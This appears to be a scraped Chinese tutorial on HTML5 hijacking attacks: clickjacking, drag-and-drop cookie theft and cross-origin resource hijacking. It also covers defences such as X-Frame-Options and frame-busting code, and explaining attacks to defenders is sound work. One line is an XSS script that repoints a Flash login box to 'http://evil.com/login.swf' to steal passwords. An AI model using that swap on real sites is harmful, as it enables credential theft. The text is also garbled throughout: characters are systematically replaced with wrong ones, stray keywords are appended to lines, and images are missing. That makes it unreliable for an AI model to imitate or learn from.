HTML5安全風險詳析之五:劫持攻擊

本文咱們要講到一類的HTML5安全問題,也就是劫持的問題。跨域

下面咱們要講到一類的HTML5安全問題,也就是劫持的問題。瀏覽器

1、ClickJacking-點擊劫持安全

這種攻擊方式正變得愈來愈廣泛。被攻擊的頁面做爲iframe,用Mask的方式設置爲透明放在上層,惡意代碼偷偷地放在後面的頁面中,使得一個頁面看起來彷佛是安全的,而後誘騙用戶點擊網頁上的內容,達到竊取用戶信息或者劫持用戶操做的目的。下圖中,欺詐的頁面放置在下層,被攻擊的銀行頁面做爲透明的層放置在上層,用戶看到的是欺詐頁面上顯示的信息並進行輸入和點擊,可是真正的用戶行爲是發生在銀行頁面上的。cookie

想象一下,點擊劫持能夠誘使你發佈一條虛假微博、或者發送一封虛假郵件甚至盜取你的我的信息。例以下圖能夠誘使咱們發佈一條虛假的Twitter消息。工具

這裏有一個測試工具clickjacktest能夠檢測你的頁面是否有點擊劫持的風險,你能夠輸入一個網址並點擊Test,若是頁面能夠正常顯示並加載,那麼表示這個頁面存在被點擊劫持攻擊的風險,若是頁面顯示爲一片空白,那麼表示頁面比較安全。測試

2、CookieJacking-Cookie劫持網站

ClickJacking只涉及點擊操做,可是HTML5的拖放API使得這種攻擊擴大到拖放操做。由於如今Web應用裏,有大量須要用戶拖放完成的操做。在同源策略裏,一個域的Cookie只能被本域所訪問,可是拖放操做是不受同源策略限制的,這樣利用拖放操做、XSS和其餘技巧,能夠構造跨域合法請求,劫持Cookie。加密

把Cookie從一個域拖拽到另一個域裏spa

實現原理其實和ClickJacking相似,只要欺騙用戶進行拖放行爲,就能夠把用戶某個域的信息發送到另一個域裏。這個其實很容易作到,以前有一個研究者就在Facebook上創建了一個應用,這個應用的功能是讓用戶把圖片上美女的衣服拖拽下來。我想可能大多數人都會去嘗試並且不會有警戒心理。code

一個誘騙拖放的小遊戲

咱們應當如何防止ClickJacking、CookieJacking呢?

一、X-Frame-Options:全部的現代瀏覽器都支持X-Frame-Options HTTP頭,這個頭容許頁面被iframe使用時是否正常渲染。下圖中的頁面就是當X-Frame-Options生效時的效果。

二、Javascript方式

這種方式很是常見,具體代碼就是:

  1. 01.if (top !==window)    
  2. 02.        top.location = window.location.href;  

Facebook和Twitter都使用了這種方式,可是這種方式並非徹底奏效的,例如攻擊者可使用204轉向或者禁用Javascript的方式來繞過(例如iframe沙箱)。

不過如今至少80%以上的網站都沒有注意到點擊劫持和cookie劫持的問題並加以保護。我這篇文章的主要目的就是提醒你們注意到這種隱蔽的攻擊方式並有針對性的進行防護。

3、CORJacking-跨域資源劫持

CORJacking是指跨源資源劫持。HTML5應用有各類不一樣的資源,例如Flash文件,Silverligh,視頻,音頻等,這些資源能夠經過DOM訪問和控制。若是頁面存在XSS漏洞,那麼攻擊者可能經過跨域資源的劫持進行攻擊。例以下面的代碼載入了一個swf文件,做爲用戶登陸框,這裏面咱們能夠實現一些加密的邏輯。

  1. 01.<object classid=「clsid:xxxxxxx-xxxx-xxxx-xxxxxx」 id=「Login」 width=「100%」height=「100%」 codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab>    
  2. 02.              <param name=「movie」value=「Login.swf」 />    
  3. 03.              <param name=「quality」value=「high」 />    
  4. 04.              <embed src=「Login.swf」quality=「high」 width=「50%」 height=「50%」>    
  5. 05.</object>  

當頁面存在XSS漏洞時,攻擊者能夠利用以下腳本把swf文件替換爲欺詐的虛假資源。

  1. document.getElementByName(‘Login’).item(0).src=‘http://evil.com/login.swf’;  

那麼當用戶在這樣的登陸框裏輸入本身的用戶名和密碼並登陸時,他的賬號就已經被盜取了。

這個問題在不一樣瀏覽器裏面表現是不一致的,有興趣的朋友能夠下去自行測試。

相關文章
相關標籤/搜索